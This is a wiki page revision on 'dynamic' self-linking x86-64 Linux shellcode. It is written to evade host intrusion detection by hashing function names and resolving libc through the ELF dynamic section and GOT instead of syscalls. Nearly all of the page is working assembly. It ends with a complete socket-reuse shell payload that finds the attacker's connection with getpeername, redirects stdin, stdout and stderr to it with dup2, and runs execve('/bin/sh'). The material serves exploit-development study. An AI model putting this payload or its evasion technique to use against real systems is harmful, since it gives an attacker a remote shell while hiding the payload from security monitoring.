Difference between revisions of "Shellcode/Dynamic"

Revision as of 21:49, 22 November 2012

Dynamic, or self-linking code is built to evade several types of host-layer countermeasures from security infrastructure (such as HIDS and HIPS engines) that can prevent the execution of traditional 'unlinked' shellcode because it contains no interrupts, syscalls, or plaintext function strings.

Justification

Most security infrastructure components do runtime analysis based on the contents of RAM in both data and executable marked segments. Moreover, many of these systems may even inspect kernel interrupts and syscalls from within the kernel. Others may monitor the functionality of _ld_runtime_resolve, a trampoline to _dl_fixup(), provided by ld-linux for a normal application to make shared library calls. Many of these systems will be alerted by applications trying to execute syscalls or interrupts without having them in their .text segments, or when an application attempts to use _ld_runtime_resolve, _dl_fixup, dl_open, dl_close, or dl_sym to import a function not listed in its import table. Additionally, using functions such as dl_open() and dl_sym() require the use of plaintext strings. Any analyst with any level of common sense would be able to reverse engineer the payload quickly - another problem presented by traditional null-free shellcode.

A dynamic shellcode engine is able to solve these problems. By avoiding registers used by the C calling convention, it is possible to construct a linker that allows a developer to write dynamically self-linking code. This discards the need for interrupts and syscalls entirely, as a linker is able to import functions without assistance from the kernel. Additionally, function hashing is used to prevent function names from displaying within string data, solving the problems with standard null-free shellcode listed above.

The C Calling convention's impact

• The usual format for a system call or libc function invokation:

   function_call(%rax) = function(%rdi,  %rsi,  %rdx,  %r10,  %r8,  %r9)

• The return value is usually returned into the %rax register.

Because of the above statement, we can see easily when writing a linker that the following registers need not be reserved for function calls before calling them without syscalls:

  %rax, %rbx, %rcx, %rbp, %r11, %r12, %r13, %r14, %r15

Most of these registers can get blown away by different libc functions, however %rbx is reserved for "developer use" by libc. When writing a dynamic linker, function arguments must be preserved so that a developer can easily write dynamically integrated code. To that end, this linker takes %rbx as the base pointer to a library and %rbp for a function hash. This ensures that the developer maintains control over %rax, %rdi, %rsi, %rdx, %r10, %r8, and %r9. The %rcx register is used as the pointer to the invoke_function label. Developers should be aware to preserve this when invoking functions which may destroy the register, or change this by changing the register popped in the __initialize_world label.

Function hashing

• Additional labels have been added to make this more readable.

 
calc_hash:
 
preserve_regs:
  push %rax
  push %rdx
 
initialize_regs:
  push %rdx
  pop %rax
  cld
 
calc_hash_loop:
  lodsb
  rol $0xc, %edx
  add %eax, %edx
  test %al, %al
  jnz calc_hash_loop
 
calc_done:
  push %rdx
  pop %rsi
 
restore_regs:
  pop %rdx 
  pop %rax
 

Dynamic section traversal to the GOT

• We were able to locate a predictable offset to the first dynamic section header in the currently executing binary. It will always have a VMA of 0x00400130, so we use the code below to get there without nulls.

 
_start:
  push $0x400130ff
  pop %rbx
  shr $0x8, %ebx
 

• Here, we extract the pointer to the dynamic section, then add its length to it. The GOT (Global Offset Table) is immediately after the dynamic section, so we can traverse to the GOT without reading its location from the headers. That's good, because the location of the GOT is not stored in the ELF or program headers.

 
fast_got:
  mov (%rbx), %rcx
  add 0x10(%rbx), %rcx
 

Extracting a library pointer

• This code extracts a pointer to an arbitrary function inside of libc from the GOT. An alternative to libc is at 0x18(%rcx), which is a pointer to _dl_runtime_resolve from the ld-linux shared object library.

 
extract_pointer:
  mov 0x20(%rcx), %rbx
 

• Now we just look for the base pointer of the binary we've selected for importing. We do this by looking for \x7f followed by the text string ELF. Because the RAM holds the information backwards, we run a backwards comparison. We loop until the base pointer has been isolated:

 
find_base:
  dec %rbx
  cmpl $0x464c457f, (%rbx)
jne find_base
 

Staging the user defined code

• Now that a base pointer has been calculated, it is time to stage the developer or user-defined code. To make invoke_function re-usable from a register, a getPc via %rcx is invoked that jumps to the _world label and never returns. The address of invoke_function has then been stored in the %rcx register, allowing developers to access it efficiently.

 
jmp startup
 
__initialize_world:
  pop %rcx
  jmp _world
 
startup:
  call __initialize_world
invoke_function:
  ...
_world:
  ; user-defined code goes here
 

The interface

The runtime linker developed here allows user-defined code to start at the _world label. This example is a small dynamic snippet that when combined with the linker's API equivocates to `exit()':

 
_world:
  push $0x696c4780
  pop %rbp
  xor %rdi, %rdi
  call *%rcx
 

The invoking of functions

• A comment has been provided in case developers forget the interface functionality:

 
;
;  Takes a function hash in %rbp and base pointer in %rbx
;  >Parses the dynamic section headers of the ELF64 image
;  >Uses ROP to invoke the function on the way back to the
;  -normal return location
;
;  Returns results of function to invoke.
;
 

• The first thing that we have to do is preserve all the registers that may interact with libc along with any registers that may be used by the linker. You'll notice that %rbp is preserved twice. This is because the first preservation is overwritten with a pointer to the desired function before returning. This allows us to return from the desired function back to developer-defined code.

invoke_function:
  push %rbp
  push %rbp
  push %rdx
  push %rdi
  push %rax
  push %rbx      
  push %rsi
 

• Now we zero the %rdx register and place the function hash into %rdi for future comparison.

set_regs:
  xor %rdx, %rdx
  push %rbp
  pop %rdi
 

• Then the base pointer of the desired library to import from is placed into %rbp

 
copy_base:
  push %rbx
  pop %rbp
 

• This is a hack to get to our dynamic offset. We need to access 0x130(%rbx) for four bytes, but add it to an eight-byte register. We can't add to %ebx because this will chop %rbx in half - so we add the offset to the dynamic section to the base pointer using indexed addressing mode. Because $0x4c * 4 = 0x130, and %rbx is the base pointer, the following code will suffice:

read_dynamic_section:
  push $0x4c
  pop %rax
  add (%rbx, %rax, 4), %rbx
 

• We want to find the function export table. Typically, this table is called .dynsym, or the dynamic symbol table.

 
check_dynamic_type:
  add $0x10, %rbx
  cmpb $0x5, (%rbx)
  jne check_dynamic_type
 

• Once the %rbx register is positioned at the correct section header for the dynamic symbol table, we place the absolute address to the string table into %rax and the absolute address to the dynamic symbol table into %rbx.

 
string_table_found:
  mov 0x8(%rbx), %rax       # %rax is now location of dynamic string table
  mov 0x18(%rbx), %rbx      # %rbx is now a pointer to the symbol table.
 

 
check_next_hash:
  add $0x18, %rbx
  push %rdx
  pop %rsi
  xorw (%rbx), %si
  add %rax, %rsi
 

 
calc_hash:
   ...
 

 
check_current_hash:
  cmp %esi, %edi
  jne check_next_hash
 

 
found_hash:
  add 0x8(%rbx,%rdx,4), %rbp
  mov %rbp, 0x30(%rsp)
  pop %rsi
  pop %rbx
  pop %rax
  pop %rdi
  pop %rdx
  pop %rbp
ret
 

The dynamic shell

• Once added to the linker, this becomes a total of a 270 byte dynamic port of the 115 byte socket-reuse payload. There are a few ways to optimize it that will be left for the reader to discover.

 
_world:
  movl $0xf8cc01f7, %ebp   # hash of getpeername() is in %rbp
  push $0x02
  pop %rdi
 
make_fd_struct:
  lea -0x14(%rsp), %rdx
  movb $0x10, (%rdx)
  lea 0x4(%rdx), %rsi # move struct into rsi
 
loop:
  inc %di
  jz exit
 
stack_fix:
  lea 0x14(%rdx), %rsp
 
get_peer_name:
  sub $0x20, %rsp
  push %rcx
  call *%rcx               # getpeername(counterfd,sockaddr_in)
  pop %rcx
 
check_pn_success:
  test %al, %al
  jne loop
 
  # If we make it here, rbx and rax are 0
check_ip:
  push $0x1b
  pop %r8
  mov $0xfeffff80, %eax
  not %eax
  cmpl %eax, (%rsp,%r8,4)
  jne loop
 
check_port:
  movb $0x35, %r8b
  mov $0x2dfb, %ax
  not %eax
  cmpw %ax,(%rsp, %r8 ,2) # 
  jne loop
 
  push $0x70672750
  pop %rbp                # Function hash of dup2() is in rbp
 
reuse:
  xor %rdx, %rdx
  push %rdx
  push %rdx
  pop %rsi
 
dup_loop:       # redirect stdin, stdout, stderr to socket
  push %rcx
  call *%rcx    # dup2(sockfd,std[err|in|out]);
  pop %rcx
  inc %esi
  cmp $0x4, %esi
  jne dup_loop
 
  movl $0xf66bbb37, %ebp         # Place the function hash for execve() into %rbp
 
  xor %rdi, %rdi
  push %rdi                      
  push %rdi
  pop %rsi                     
  pop %rdx                       # Null out %rdx and %rdx (second and third argument)
  mov $0x68732f6e69622f6a,%rdi   # move 'hs/nib/j' into %rdi
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
  push %rdi      
  push %rsp 
  pop %rdi                       # %rdi is now a pointer to '/bin/sh\0'
 
  call *%rcx                     # execve('/bin/sh',0,0);